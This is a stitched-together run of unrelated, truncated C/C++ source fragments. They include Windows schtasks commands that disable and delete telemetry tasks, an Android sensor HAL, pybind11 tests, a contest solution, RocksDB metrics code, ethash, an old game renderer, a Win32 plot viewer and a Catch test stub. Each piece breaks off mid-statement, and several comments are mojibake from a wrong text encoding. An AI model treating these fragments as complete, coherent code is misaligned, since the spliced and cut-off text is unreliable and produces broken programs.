        R"(schtasks /Change /DISABLE /TN "Microsoft\Windows\Customer Experience Improvement Program\BthSQM")",
        R"(schtasks /Change /DISABLE /TN "Microsoft\Windows\Customer Experience Improvement Program\TelTask")",
        R"(schtasks /Change /DISABLE /TN "Microsoft\Windows\Application Experience\AitAgent")",
        R"(schtasks /Change /DISABLE /TN "Microsoft\Windows\PerfTrack\BackgroundConfigSurveyor")",

        // Delete tasks
        R"(schtasks /Delete /F /TN "Microsoft\Windows\Setup\EOSNotify")",
        R"(schtasks /Delete /F /TN "Microsoft\Windows\Setup\EOSNotify2")",
        R"(schtasks /Delete /F /TN "Microsoft\Windows\End Of Support\Notify1")",
        R"(schtasks /Delete /F /TN "Microsoft\Windows\End Of Support\Notify2")",
        R"(schtasks /Delete /F /TN "Microsoft\Windows\SetupSQMTask")",
        R"(schtasks /Delete /F /TN "Microsoft\Windows\Customer Experience Improvement Program\BthSQM")",
        R"(schtasks /Delete /F /TN "Microsoft\Windows\Customer Experience Improvement Program\Consolidator")",
        R"(schtasks /Delete /F /TN "Microsoft\Wind


/*
 * Copyright (C) 2019 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include "Sensor.h"

#include <hardware/sensors.h>
#include <log/log.h>
#include <utils/SystemClock.h>

#include <cmath>

static bool readBool(int fd, bool seek) {
    char c;
    int rc;

    if (seek) {
        rc = lseek(fd, 0, SEEK_SET);
        if (rc) {
            ALOGE("failed to seek: %d", rc);
            return false;
        }
    }

    rc = read(fd, &c, sizeof(c));
    if (rc != 1) {
        ALOGE("failed to read bool: %d", rc);
        return false;
    }

    return c != '0';
}

namespace android {
namespace hardware {
namespace sensors {
namespace V2_1 {
namespace subhal {
namespace implementation {

using ::android::hardware::sensors::V1_0::MetaDataEventType;
using ::android::hardware::sensors::V1_0::OperationMode;
using ::android::hardware::sensors::V1_0::Result;
using ::android::hardware::sensors::V1_0::SensorFlagBits;
using ::android::hardware::sensors::V1_0::SensorStatus;
using ::android::hardware::sensors::V2_1::Event;
using ::android::hardware::sensors::V2_1::SensorInfo;
using ::android::hardware::sensors::V2_1::SensorType;

Sensor::Sensor(int32_t sensorHandle, ISensorsEventCallback* callback)
    : mIsEnabled(false),
      mSamplingPeriodNs(0),
      mLastSampleTimeNs(0),
      mCallback(callback),
      mMode(OperationMode::NORMAL) {
    mSensorInfo.sensorHandle = sensorHandle;
    mSensorInfo.vendor = "The LineageOS Project";
    mSensorInfo.version = 1;
    constexpr float kDefaultMaxDelayUs = 1000 * 1000;
    mSensorInfo.maxDelay = kDefaultMaxDelayUs;
    mSensorInfo.fifoReservedEventCount = 0;
    mSensorInfo.fifoMaxEventCount = 0;
    mSensorInfo.requiredPermission = "";
    mSensorInfo.flags = 0;
    mRunThread = std::thread(startThread, this);
}

Sensor::~Sensor() {
    // Ensure that lock is unlocked before calling mRunThread.join() or a
    // deadlock will occur.
    {
        std::unique_lock<std::mutex> lock(mRunMutex);
        mStopThread = true;
        mIsEnabled = false;
        mWaitCV.notify_all();
    }
    mRunThread.join();
}

const SensorInfo& Sensor::getSensorInfo() const {
    return mSensorInfo;
}

void Sensor::batch(int32_t samplingPeriodNs) {
    samplingPeriodNs =
        std::clamp(samplingPeriodNs, mSensorInfo.minDelay * 1000, mSensorInfo.maxDelay * 1000);

    if (mSamplingPeriodNs != samplingPeriodNs) {
        mSamplingPeriodNs = samplingPeriodNs;
        // Wake up the 'run' thread to check if a new event should be generated now
        mWaitCV.notify_all();
    }
}

void Sensor::activate(bool enable) {
    std::lock_guard<std::mutex> lock(mRunMutex);
    if (mIsEnabled != enable) {
        mIsEnabled = enable;
        mWaitCV.notify_all();
    }
}

Result Sensor::flush() {
    // Only generate a flush complete event if the sensor is enabled and if the sensor is not a
    // one-shot sensor.
    if (!mIsEnabled) {
        return Result::BAD_VALUE;
    }

    // Note: If a sensor supports batching, write all of the currently batched events for the sensor
    // to the Event FMQ prior to writing the flush complete event.
    Event ev;
    ev.sensorHandle = mSensorInfo.sensorHandle;
    ev.sensorType = SensorType::META_DATA;
    ev.u.meta.what = MetaDataEventType::META_DATA_FLUSH_COMPLETE;
    std::vector<Event> evs{ev};
    mCallback->postEvents(evs, isWakeUpSensor());

    return Result::OK;
}

void Sensor::startThread(Sensor* sensor) {
    sensor->run();
}

void Sensor::run() {
    std::unique_lock<std::mutex> runLock(mRunMutex);
    constexpr int64_t kNanosecondsInSeconds = 1000 * 1000 * 1000;

    while (!mStopThread) {
        if (!mIsEnabled || mMode == OperationMode::DATA_INJECTION) {
            mWaitCV.wait(runLock, [&] {
                return ((mIsEnabled && mMode == OperationMode::NORMAL) || mStopThread);
            });
        } else {
            timespec curTime;
            clock_gettime(CLOCK_REALTIME, &curTime);
            int64_t now = (curTime.tv_sec * kNanosecondsInSeconds) + curTime.tv_nsec;
            int64_t nextSampleTime = mLastSampleTimeNs + mSamplingPeriodNs;

            if (now >= nextSampleTime) {
                mLastSampleTimeNs = now;
                nextSampleTime = mLastSampleTimeNs + mSamplingPeriodNs;
                mCallback->postEvents(readEvents(), isWakeUpSensor());
            }

            mWaitCV.wait_for(runLock, std::chrono::nanoseconds(nextSampleTime - now));
        }
    }
}

bool Sensor


/*
    tests/test_builtin_casters.cpp -- Casters available without any additional headers

    Copyright (c) 2017 Wenzel Jakob <wenzel.jakob@epfl.ch>

    All rights reserved. Use of this source code is governed by a
    BSD-style license that can be found in the LICENSE file.
*/

#include <pybind11/complex.h>

#include "pybind11_tests.h"

struct ConstRefCasted {
    int tag;
};

PYBIND11_NAMESPACE_BEGIN(pybind11)
PYBIND11_NAMESPACE_BEGIN(detail)
template <>
class type_caster<ConstRefCasted> {
public:
    static constexpr auto name = const_name<ConstRefCasted>();

    // Input is unimportant, a new value will always be constructed based on the
    // cast operator.
    bool load(handle, bool) { return true; }

    explicit operator ConstRefCasted &&() {
        value = {1};
        // NOLINTNEXTLINE(performance-move-const-arg)
        return std::move(value);
    }
    explicit operator ConstRefCasted &() {
        value = {2};
        return value;
    }
    explicit operator ConstRefCasted *() {
        value = {3};
        return &value;
    }

    explicit operator const ConstRefCasted &() {
        value = {4};
        return value;
    }
    explicit operator const ConstRefCasted *() {
        value = {5};
        return &value;
    }

    // custom cast_op to explicitly propagate types to the conversion operators.
    template <typename T_>
    using cast_op_type =
        /// const
        conditional_t<
            std::is_same<remove_reference_t<T_>, const ConstRefCasted *>::value,
            const ConstRefCasted *,
            conditional_t<
                std::is_same<T_, const ConstRefCasted &>::value,
                const ConstRefCasted &,
                /// non-const
                conditional_t<std::is_same<remove_reference_t<T_>, ConstRefCasted *>::value,
                              ConstRefCasted *,
                              conditional_t<std::is_same<T_, ConstRefCasted &>::value,
                                            ConstRefCasted &,
                                            /* else */ ConstRefCasted &&>>>>;

private:
    ConstRefCasted value = {0};
};
PYBIND11_NAMESPACE_END(detail)
PYBIND11_NAMESPACE_END(pybind11)

TEST_SUBMODULE(builtin_casters, m) {
    PYBIND11_WARNING_PUSH
    PYBIND11_WARNING_DISABLE_MSVC(4127)

    // test_simple_string
    m.def("string_roundtrip", [](const char *s) { return s; });

    // test_unicode_conversion
    // Some test characters in utf16 and utf32 encodings.  The last one (the 𝐀) contains a null
    // byte
    char32_t a32 = 0x61 /*a*/, z32 = 0x7a /*z*/, ib32 = 0x203d /*‽*/, cake32 = 0x1f382 /*🎂*/,
             mathbfA32 = 0x1d400 /*𝐀*/;
    char16_t b16 = 0x62 /*b*/, z16 = 0x7a, ib16 = 0x203d, cake16_1 = 0xd83c, cake16_2 = 0xdf82,
             mathbfA16_1 = 0xd835, mathbfA16_2 = 0xdc00;
    std::wstring wstr;
    wstr.push_back(0x61);   // a
    wstr.push_back(0x2e18); // ⸘
    if (sizeof(wchar_t) == 2) {
        wstr.push_back(mathbfA16_1);
        wstr.push_back(mathbfA16_2);
    } // 𝐀, utf16
    else {
        wstr.push_back((wchar_t) mathbfA32);
    }                     // 𝐀, utf32
    wstr.push_back(0x7a); // z

    m.def("good_utf8_string", []() {
        return std::string((const char *) u8"Say utf8\u203d \U0001f382 \U0001d400");
    }); // Say utf8‽ 🎂 𝐀
    m.def("good_utf16_string", [=]() {
        return std::u16string({b16, ib16, cake16_1, cake16_2, mathbfA16_1, mathbfA16_2, z16});
    }); // b‽🎂𝐀z
    m.def("good_utf32_string", [=]() {
        return std::u32string({a32, mathbfA32, cake32, ib32, z32});
    });                                                 // a𝐀🎂‽z
    m.def("good_wchar_string", [=]() { return wstr; }); // a‽𝐀z
    m.def("bad_utf8_string", []() {
        return std::string("abc\xd0"
                           "def");
    });
    m.def("bad_utf16_string", [=]() { return std::u16string({b16, char16_t(0xd800), z16}); });
    // Under Python 2.7, invalid unicode UTF-32 characters didn't appear to trigger
    // UnicodeDecodeError
    m.def("bad_utf32_string", [=]() { return std::u32string({a32, char32_t(0xd800), z32}); });
    if (sizeof(wchar_t) == 2) {
        m.def("bad_wchar_string", [=]() {
            return std::wstring({wchar_t(0x61), wchar_t(0xd800)});
        });
    }
    m.def("u8_Z", []() -> char { return 'Z'; });
    m.def("u8_eacute", []() -> char { return '\xe9'; });
    m.def("u16_ibang", [=]() -> char16_t { return ib16; });
    m.def("u32_mathbfA", [=]() -> char32_t { return mathbfA32; });
    m.def("wchar_heart", []() -> wchar_t { return 0x2665; });

    // test_single_char_arguments
    m.attr("wchar_size") = py::cast(sizeof(wchar_t));
    m.def("ord_char", [](char c) -> int { return static_cast<unsigned char>(c); });
    m.def("ord_char_lv", [](char &c) -> int { return static_cast<unsigned char>(c); });
    m.def("ord_char16", [](char16_t c) -> uint16_t { return c; });
    m.def("ord_char16_lv", [](char16_t &c) -> uint16_t { return c; });
    m.def("ord_char32", [](char32_t c) -> ui


//My Template;-
#include <bits/stdc++.h>
using namespace std;
#define ll long long

void solve()
{   //Code Here
     ll n;
     cin >> n;
     vector<ll> a(n), b(n);
     for(auto &it: a) cin >> it;
     for(auto &it: b) cin >> it;

     vector<ll> c(2 * n+1, 0); vector<ll> d(2 * n+1, 0);

     ll cnt = 1;
     for(int i=1;i<n;i++){
       if(a[i-1] == a[i]){
         cnt++;
       }else{
         c[a[i-1]] = max(cnt, c[a[i-1]]);
         cnt = 1;
       }
     }

     c[a[n-1]] = max(cnt, c[a[n-1]]); cnt = 1;

     for(int i=1;i<n;i++){
       if(b[i-1] == b[i]){
         cnt++;
       }else{
         d[b[i-1]] = max(cnt, d[b[i-1]]);
         cnt = 1;
       }
     }

     d[b[n-1]] = max(cnt, d[b[n-1]]);

     ll ans = -1;
     for(int i=1;i<d.size();i++){
       ans = max(ans, c[i]+d[i]);
     }

     cout << ans << endl;
     }

int main()
{   ios_base::sync_with_stdio(false);
    cin.tie(nullptr);

    ll t;
    cin >> t;
    while(t--)
    {
      solve();
    }

    return 0;
}


// Copyright 2025 XTX Markets Technologies Limited
//
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception

#include <rocksdb/env.h>
#include <rocksdb/merge_operator.h>
#include <rocksdb/slice.h>
#include <rocksdb/statistics.h>

#include "RocksDBUtils.hpp"

namespace {

// A merge operator with int64 addition semantics
class Int64AddOperator : public rocksdb::AssociativeMergeOperator {
public:
    bool Merge(
        const rocksdb::Slice& key, const rocksdb::Slice* existing_value,
        const rocksdb::Slice& value, std::string* new_value,
        rocksdb::Logger* logger
    ) const override {
        int64_t orig_value = 0;
        if (existing_value) {
            orig_value = ExternalValue<I64Value>::FromSlice(*existing_value)().i64();
        }
        int64_t operand = ExternalValue<I64Value>::FromSlice(value)().i64();

        ALWAYS_ASSERT(new_value);
        new_value->resize(I64Value::MAX_SIZE);
        ExternalValue<I64Value>(*new_value)().setI64(orig_value + operand);

        return true;
    }

    const char* Name() const override { return "Int64AddOperator"; }
    const char* NickName() const override { return "int64add"; }
};

}

std::shared_ptr<rocksdb::MergeOperator> CreateInt64AddOperator() {
    return std::make_shared<Int64AddOperator>();
}

// These are low hanging fruits (int stats that are probably useful), eventually
// I want to parse level info, histograms, etc.
static const std::vector<std::pair<const std::string&, std::string>> rocksDBIntStats = {
    {rocksdb::DB::Properties::kBlockCacheCapacity, "block_cache_capacity"},
    {rocksdb::DB::Properties::kBlockCacheUsage, "block_cache_usage"},
    {rocksdb::DB::Properties::kBlockCachePinnedUsage, "block_cache_pinned_usage"},
    {rocksdb::DB::Properties::kBackgroundErrors, "background_errors"},
    {rocksdb::DB::Properties::kCurSizeAllMemTables, "cur_size_all_mem_tables"},
    {rocksdb::DB::Properties::kSizeAllMemTables, "size_all_mem_tables"},
    {rocksdb::DB::Properties::kEstimateNumKeys, "estimate_num_keys"},
    {rocksdb::DB::Properties::kEstimateTableReadersMem, "estimate_table_readers_mem"},
    {rocksdb::DB::Properties::kEstimateLiveDataSize, "estimate_live_data_size"},
    {rocksdb::DB::Properties::kEstimatePendingCompactionBytes, "estimate_pending_compaction_bytes"},
};

void rocksDBMetrics(Env& env, rocksdb::DB* db, const rocksdb::Statistics& statistics, std::unordered_map<std::string, uint64_t>& stats) {
    // properties
    for (const auto& [prop, name]: rocksDBIntStats) {
        uint64_t v;
        ALWAYS_ASSERT(db->GetIntProperty(prop, &v));
    }
    // statistics
    std::map<std::string, uint64_t> tickers;
    ALWAYS_ASSERT(statistics.getTickerMap(&tickers));
    for (const auto& [name, value]: tickers) {
        std::string prefix = "rocksdb.";
        ALWAYS_ASSERT(name.rfind(prefix, 0) == 0);
        std::string metric_name = name;
        metric_name.erase(0, prefix.length());
        std::replace(metric_name.begin(), metric_name.end(), '.', '_');
        stats.emplace(std::make_pair(metric_name, value));
    }
}


// ethash: C/C++ implementation of Ethash, the Ethereum Proof of Work algorithm.
// Copyright 2018-2019 Pawel Bylica.
// Licensed under the Apache License, Version 2.0.

#include "ethash-internal.hpp"
#include "include/ethash.hpp"
#include "include/ethash.h"

#include "../support/attributes.h"
#include "bit_manipulation.h"
#include "endianness.hpp"
#include "primes.h"
#include <include/keccak.hpp>
#include "include/progpow.hpp"

#include <cassert>
#include <cstdlib>
#include <cstring>
#include <limits>

namespace ethash
{
// Internal constants:
constexpr static int light_cache_init_size = 1 << 24;
constexpr static int light_cache_growth = 1 << 17;
constexpr static int light_cache_rounds = 3;
constexpr static int full_dataset_init_size = 1 << 30;
constexpr static int full_dataset_growth = 1 << 23;
constexpr static int full_dataset_item_parents = 512;

// Verify constants:
static_assert(sizeof(hash512) == ETHASH_LIGHT_CACHE_ITEM_SIZE, "");
static_assert(sizeof(hash1024) == ETHASH_FULL_DATASET_ITEM_SIZE, "");
static_assert(light_cache_item_size == ETHASH_LIGHT_CACHE_ITEM_SIZE, "");
static_assert(full_dataset_item_size == ETHASH_FULL_DATASET_ITEM_SIZE, "");

namespace
{
using ::fnv1;

inline hash512 fnv1(const hash512& u, const hash512& v) noexcept
{
    hash512 r;
    for (size_t i = 0; i < sizeof(r) / sizeof(r.word32s[0]); ++i)
        r.word32s[i] = fnv1(u.word32s[i], v.word32s[i]);
    return r;
}

inline hash512 bitwise_xor(const hash512& x, const hash512& y) noexcept
{
    hash512 z;
    for (size_t i = 0; i < sizeof(z) / sizeof(z.word64s[0]); ++i)
        z.word64s[i] = x.word64s[i] ^ y.word64s[i];
    return z;
}
}  // namespace

int find_epoch_number(const hash256& seed) noexcept
{
    static constexpr int num_tries = 30000;  // Divisible by 16.

    // Thread-local cache of the last search.
    static thread_local int cached_epoch_number = 0;
    static thread_local hash256 cached_seed = {};

    // Load from memory once (memory will be clobbered by keccak256()).
    const uint32_t seed_part = seed.word32s[0];
    const int e = cached_epoch_number;
    hash256 s = cached_seed;

    if (s.word32s[0] == seed_part)
        return e;

    // Try the next seed, will match for sequential epoch access.
    s = keccak256(s);
    if (s.word32s[0] == seed_part)
    {
        cached_seed = s;
        cached_epoch_number = e + 1;
        return e + 1;
    }

    // Search for matching seed starting from epoch 0.
    s = {};
    for (int i = 0; i < num_tries; ++i)
    {
        if (s.word32s[0] == seed_part)
        {
            cached_seed = s;
            cached_epoch_number = i;
            return i;
        }

        s = keccak256(s);
    }

    return -1;
}

namespace generic
{
void build_light_cache(
    hash_fn_512 hash_fn, hash512 cache[], int num_items, const hash256& seed) noexcept
{
    hash512 item = hash_fn(seed.bytes, sizeof(seed));
    cache[0] = item;
    for (int i = 1; i < num_items; ++i)
    {
        item = hash_fn(item.bytes, sizeof(item));
        cache[i] = item;
    }

    for (int q = 0; q < light_cache_rounds; ++q)
    {
        for (int i = 0; i < num_items; ++i)
        {
            const uint32_t index_limit = static_cast<uint32_t>(num_items);

            // Fist index: 4 first bytes of the item as little-endian integer.
            const uint32_t t = le::uint32(cache[i].word32s[0]);
            const uint32_t v = t % index_limit;

            // Second index.
            const uint32_t w = static_cast<uint32_t>(num_items + (i - 1)) % index_limit;

            const hash512 x = bitwise_xor(cache[v], cache[w]);
            cache[i] = hash_fn(x.bytes, sizeof(x));
        }
    }
}

epoch_context_full* create_epoch_context(
    build_light_cache_fn build_fn, int epoch_number, bool full) noexcept
{
    static_assert(sizeof(epoch_context_full) < sizeof(hash512), "epoch_context too big");
    static constexpr size_t context_alloc_size = sizeof(hash512);

    const int light_cache_num_items = calculate_light_cache_num_items(epoch_number);
    const int full_dataset_num_items = calculate_full_dataset_num_items(epoch_number);
    const size_t light_cache_size = get_light_cache_size(light_cache_num_items);
    const size_t full_dataset_size =
        full ? static_cast<size_t>(full_dataset_num_items) * sizeof(hash1024) :
               progpow::l1_cache_size;

    const size_t alloc_size = context_alloc_size + light_cache_size + full_dataset_size;

    char* const alloc_data = static_cast<char*>(std::calloc(1, alloc_size));
    if (!alloc_data)
        return nullptr;  // Signal out-of-memory by returning null pointer.

    hash512* const light_cache = reinterpret_cast<hash512*>(alloc_data + context_alloc_size);
    const hash256 epoch_seed = calculate_epoch_seed(epoch_number);
    build_fn(light_cache, light_cache_num_items, epoch_seed);

    uint32_t* const l1_cache =
        reinterpret_cast<uint32_t*>(alloc_data + context_alloc_size + light_cache_size);

    hash1024* full_dataset = ful


#ifndef	__BUSH_CPP__
#include"_bush.h"
#endif

#include <stdlib.h>
//#include <string.h>
//#include "brend.h"

#define SCRW r_VSCR_WIDTH
#define SCRH 480

#define b_MATR_PRES_POW 8
#define b_MATR_PRES     (1<<b_MATR_PRES_POW)
#define b_STYLE_INT_VERT 1
#define b_STYLE_INT_WIDT 0

double b_cacheZ;
double b_cache1Z;
int    b_useOrtogonal; // Ôëàã äëÿ ñïðàéòîâ

b_PinLeadingPoint b_LeadingCache[r_MAX_CACHE_LEADING];

typedef void (*r_TDrawBranchFunc)( int step, b_TBranch &b );

b_TCacheBush b_TBush::m_cache;
b_TBushRect  b_TBush::m_bushRect;
byte         b_TBush::m_singleCol;
int			 b_TBush::m_hSingleCol;
double       b_TBush::m_widtAspect;
double       b_TBush::m_vertAspect;
bsh_TSingleLineFunc b_TBush::SingleLineLRH;
bsh_TSingleLineFunc b_TBush::SingleLineRLH;
bsh_TSingleLineFunc b_TBush::SingleLineLRVDU;
bsh_TSingleLineFunc b_TBush::SingleLineRLVDU;
bsh_TCodeStream     b_TBush::m_compileRectBody;
bsh_TOutComileRectFunc b_TBush::CompileRectAr[r_MAX_RECT_SIZE+r_RECT_MINUS];
int                    b_TBush::m_visAll;
b_TNode::b_TNode()
 {
    m_type = -1;
    m_flag = -1;
    m_plane=  0;

    m_cnt  =  0;
    m_chain= NULL;

    m_left = NULL;
    m_right= NULL;
 }

b_TNode::~b_TNode()
 {
    delete m_chain;
    delete m_left;
    delete m_right;
 }

b_TBush::b_TBush()
 {
    m_vert = NULL;
    m_widt = NULL;
    m_vertCnt = 0;
    m_widtCnt = 0;
    m_node = NULL;
    m_center = CFVector3(0,0,0);
    m_radius = 0;

    SingleLineLRH = bsh_SingleLineLRH_clip;
    SingleLineLRH = bsh_SingleLineRLH_clip;

    SingleLineLRVDU = bsh_SingleLineLRVDU_clip;
 }

b_TBush::~b_TBush()
 {
    delete m_vert;
    delete m_widt;
    delete m_node;
 }

void b_ReadSpr( b_TSprite &spr, CTaggedFile &f )
 {
    f.Descend( "Spr_", TRUE, 0 );
       f.ReadDouble( spr.w );
       f.ReadInt( spr.x0 );
       f.ReadInt( spr.y0 );
       f.ReadInt( spr.x1 );
       f.ReadInt( spr.y1 );
    f.Ascend();

    int num = 1+rand()%2;
    int x = num % 2;
    int y = num / 2;
    int width =  (256/2);

    spr.x0 = (x*width+2)<<16;
    spr.y0 = (y*width+2)<<16;
    spr.x1 = (x*width+width-2)<<16;
    spr.y1 = (y*width+width-2)<<16;
    //spr.w += spr.w*((double)(rand()))/RAND_MAX;
 }

#pragma pack(0)
typedef struct {
    byte r,g,b;
} b_RGB;
extern int  g_MidleR, g_MidleG, g_MidleB;

int b_LoadBushTrunk()
 {
    word  *data;
    int    cnt;
    int    width,height,t;
    b_RGB  lpal[2048];
    int    i,j;
    byte   xlat[2048];

    CTaggedFile fs(TRUE);
    fs.Open("B_TRUNK.TXR");
	 fs.Descend("TXR_",FALSE,0);
	   fs.Descend("TXRH",TRUE,0);
	     fs.ReadInt(t);
	     fs.ReadInt(width);
	     fs.ReadInt(height);
         if( width!=height )
         {
              ASSERT(0);
              return 0;
         }
	   fs.Ascend();

	   fs.Descend("PAL_",TRUE,1);
	     fs.ReadInt(cnt);
	     fs.ReadInt(t);
	     fs.Read(lpal,cnt*3);

         for( i=0; i<cnt; ++i )
         {
              lpal[i].r >>= 2;
              lpal[i].g >>= 2;
              lpal[i].b >>= 2;
              double min=1e10,dif;

              for( j = 0; j <256; ++j)
              {
                   double dr= ((int)r_PALETTE6[j*3  ])-(int)lpal[i].r;
                   double dg= ((int)r_PALETTE6[j*3+1])-(int)lpal[i].g;
                   double db= ((int)r_PALETTE6[j*3+2])-(int)lpal[i].b;
                   dif = dr*dr + dg*dg + db*db;
                   if( dif<min )
                   {
                        min = dif;
                        xlat[i] = (byte)(j);
                   }
              }
         }

	   fs.Ascend();

	   fs.Descend("TXRD",TRUE,0);
	     data = new word[width*height];
	     fs.Read( data, width*height*2 );
         b_TBush::m_bushRect.data0 = new byte[width];
         b_TBush::m_bushRect.data1 = new byte[width];
         b_TBush::m_bushRect.data2 = new byte[width];
         b_TBush::m_bushRect.data3 = new byte[width];
	   fs.Ascend();
	 fs.Ascend();
    fs.Close();

    for( i = 0; i<width; ++i )
    {
         b_TBush::m_bushRect.data0[i] = xlat[data[i]];
         b_TBush::m_bushRect.data1[i] = xlat[data[i*width+width-1]];
         b_TBush::m_bushRect.data2[i] = xlat[data[i+width*(width-1)]];
         b_TBush::m_bushRect.data3[i] = xlat[data[i*width]];
    }

    b_TBush::m_bushRect.m_size = width<<16;
    b_TBush::m_singleCol = b_TBush::m_bushRect.data2[width>>1];

    b_TBush::m_hSingleCol = GRCreateColor(int(g_MidleR),int(g_MidleG),int(g_MidleB));
    bsh_CompileRectLODs( b_TBush::m_compileRectBody );

    delete [] data;
	return 1;
 }

void b_CreateCacheBush()
 {
    b_TCacheBush *cache = &(b_TBush::m_cache);

    cache->m_vert    = new b_TCacheVert[ r_MAX_CACHE_VERTEX ];
    cache->m_vertCnt = r_MAX_CACHE_VERTEX;

    cache->m_widt    = new b_TCacheWidt[ r_MAX_CACHE_WIDTH ];
    cache->m_widtCnt = r_MAX_CACHE_WIDTH;
 }

void b_DeleteCa


#include <windows.h>
#include <windowsx.h>
#include "Data.h"
#include "Scene2D.h"

LRESULT _stdcall WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);            // ïðîòîòèï îêîííîé ïðîöåäóðû
int _stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)    // îñíîâíàÿ ïðîöåäóðà
{
    // Ïåðâàÿ ñîñòàâëÿþùàÿ ÷àñòü îñíîâíîé ïðîöåäóðû - ñîçäàíèå îêíà: ñíà÷àëà îïèñûâàåòñÿ îêîííûé êëàññ wc, çàòåì ñîçäà¸òñÿ îêíî hWnd
    WNDCLASS wc;
    wc.style = CS_OWNDC;
    wc.lpfnWndProc = WndProc;            // èìÿ îêîííîé ïðîöåäóðû, çàêðåïëåííîé çà äàííûì êëàññîì
    wc.cbClsExtra = 0;
    wc.cbWndExtra = 0;
    wc.hInstance = hInstance;            // èäåíòèôèêàòîð ïðèëîæåíèÿ, ñîäåðæàùèé àäðåñ íà÷àëà âûäåëåííîé åìó îáëàñòè ïàìÿòè
    wc.hIcon = LoadIcon(nullptr, IDI_APPLICATION);
    wc.hCursor = LoadCursor(nullptr, IDC_ARROW);
    wc.hbrBackground = (HBRUSH)(6);
    wc.lpszMenuName = 0;              // ìåíþ â îêîííîì êëàññå îòñóòñòâóåò
    wc.lpszClassName = L"MainWindowClass";  // èìÿ îêîííîãî êëàññà, èñïîëüçóåìîå ïðè ñîçäàíèè ýêçåìïëÿðîâ îêíà
    RegisterClass(&wc);                // ðåãèñòðàöèÿ êëàññà wc

    HWND hWnd = CreateWindow(            // hWnd - äåñêðèïòîð, èäåíòèôèöèðóþùèé îêíî; ôóíêöèÿ ñîçäàíèÿ îêíà çàïîëíÿåò äåñêðèïòîð hWnd íåíóëåâûì çíà÷åíèåì
        L"MainWindowClass",          // èìÿ îêîííîãî êëàññà
        L"Plot2D Viewer",          // çàãîëîâîê îêíà
        WS_OVERLAPPEDWINDOW,            // ñòèëü îêíà
        200, 200, 400, 400,              // êîîðäèíàòû íà ýêðàíå ëåâîãî âåðõíåãî óãëà îêíà, åãî øèðèíà è âûñîòà
        nullptr, nullptr, hInstance, nullptr);

    ShowWindow(hWnd, nCmdShow);
    UpdateWindow(hWnd);

    // Âòîðàÿ ñîñòàâëÿþùàÿ ÷àñòü îñíîâíîé ïðîöåäóðû - îñíîâíîé öèêë îáðàáîòêè ñèñòåìíûõ ñîîáùåíèé, êîòîðûé îæèäàåò ñîîáùåíèÿ è ðàññûëàåò èõ ñîîòâåòñòâóþùèì îêíàì
    MSG msg;
    while (GetMessage(&msg, nullptr, 0, 0))        // ôóíêöèÿ GetMessage âûáèðàåò èç î÷åðåäè ñîîáùåíèå è çàíîñèò åãî â ñòðóêòóðó msg
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);            // ôóíêöèÿ DispatchMessage îïîâåùàåò ñèñòåìó î íåîáõîäèìîñòè âûçîâà îêîííîé ïðîöåäóðû
    }

    return 0;
}

Scene2D scene(X0, Y0, px, py);
double V[12] = {
      1,  0,  -1,  0,
      0,  0.25,  0,  -0.25,
      1,  1,  1,  1
};
int AM[16] = {
0,  1,  0,  1,
0,  0,  1,  0,
0,  0,  0,  1,
1,  0,  1,  0
};
Matrix<double> vertices(3, 4, V);
Matrix<int> adjacencyMatrix(4, 4, AM);

Model2D model(vertices, adjacencyMatrix);
char state = 't';
LRESULT _stdcall WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)    // îêîííàÿ ïðîöåäóðà ïðèíèìàåò è îáðàáàòûâàåò âñå ñîîáùåíèÿ, îòïðàâëåííûå îêíó
{
    switch (msg)
    {
    case WM_PAINT:
    {
        HDC dc = GetDC(hWnd);

        scene.Clear(dc);
        scene.addModel(model);
        scene.Render(dc);
        //scene.Clear(dc);        // Âûçîâ ðåàëèçîâàííîãî â êëàññå Camera2D ìåòîäà, îòâå÷àþùåãî çà î÷èñòêó ðàáî÷åé îáëàñòè îêíà hWnd
        ///*scene.Plot(dc, Sinusoid);*/    // Âûçîâ ðåàëèçîâàííîãî â êëàññå Scene2D ìåòîäà, îòâå÷àþùåãî çà îòðèñîâêó ãðàôèêà ñèíóñîèäû
        //scene.PolarPlot(dc, TestPolar1);
        ///*scene.PolarPlot(dc, TestPolar2);*/
        ReleaseDC(hWnd, dc);
        return DefWindowProc(hWnd, msg, wParam, lParam);
    }

    case WM_SIZE:
    {
        HDC dc = GetDC(hWnd);
        scene.SetResolution(dc);
        ReleaseDC(hWnd, dc);
        InvalidateRect(hWnd, nullptr, false);
        return 0;
    }case WM_DESTROY:
{
    PostQuitMessage(0);
    return 0;
}
case WM_LBUTTONUP:
{
    scene.EndDrag();
    return 0;
}
case WM_LBUTTONDOWN:
{
    scene.BeginDrag(GET_X_LPARAM(lParam), GET_Y_LPARAM(lParam));
    return 0;
}
case WM_MOUSEMOVE:
{
    if (scene.IsDrag())
    {
        scene.Drag(GET_X_LPARAM(lParam), GET_Y_LPARAM(lParam));
        InvalidateRect(hWnd, nullptr, false);
    }
    return 0;
}
case WM_KEYDOWN:
    if (state == 'm')
    {
        switch (wParam) {
        case VK_LEFT:
            model.Apply(translate(-0.05, 0));
            break;
        case VK_UP:
            model.Apply(translate(0, -0.05));
            break;
        case VK_RIGHT:
            model.Apply(translate(0.05, 0));
            break;
        case VK_DOWN:
            model.Apply(translate(0, 0.05));
            break;
        default: return 0;
        }
    }
    if (state == 't')
    {
        switch (wParam) {
        case VK_LEFT:
            model.Apply(rotate(-1));
            break;

        case VK_RIGHT:
            model.Apply(rotate(1));
            break;
        default: return 0;
        }
    }
    if (state == 's')
    {
        switch (wParam) {
        case VK_UP:
            model.Apply(scale(1, 1.25));
            break;
        case VK_LEFT:
            model.Apply(scale(0.75, 1));
            break;
        case VK_RIGHT:
            model.Apply(scale(1.25, 1));
            break;
        case VK_DOWN:
            model.Apply(scale(1, 0.75));
            break;
        default:


#define CATCH_CONFIG_MAIN
#include "catch.hpp"

void reverse_array(int *array, int n) {
    if (n == 0) {
        return;
    }
    int i = 0;
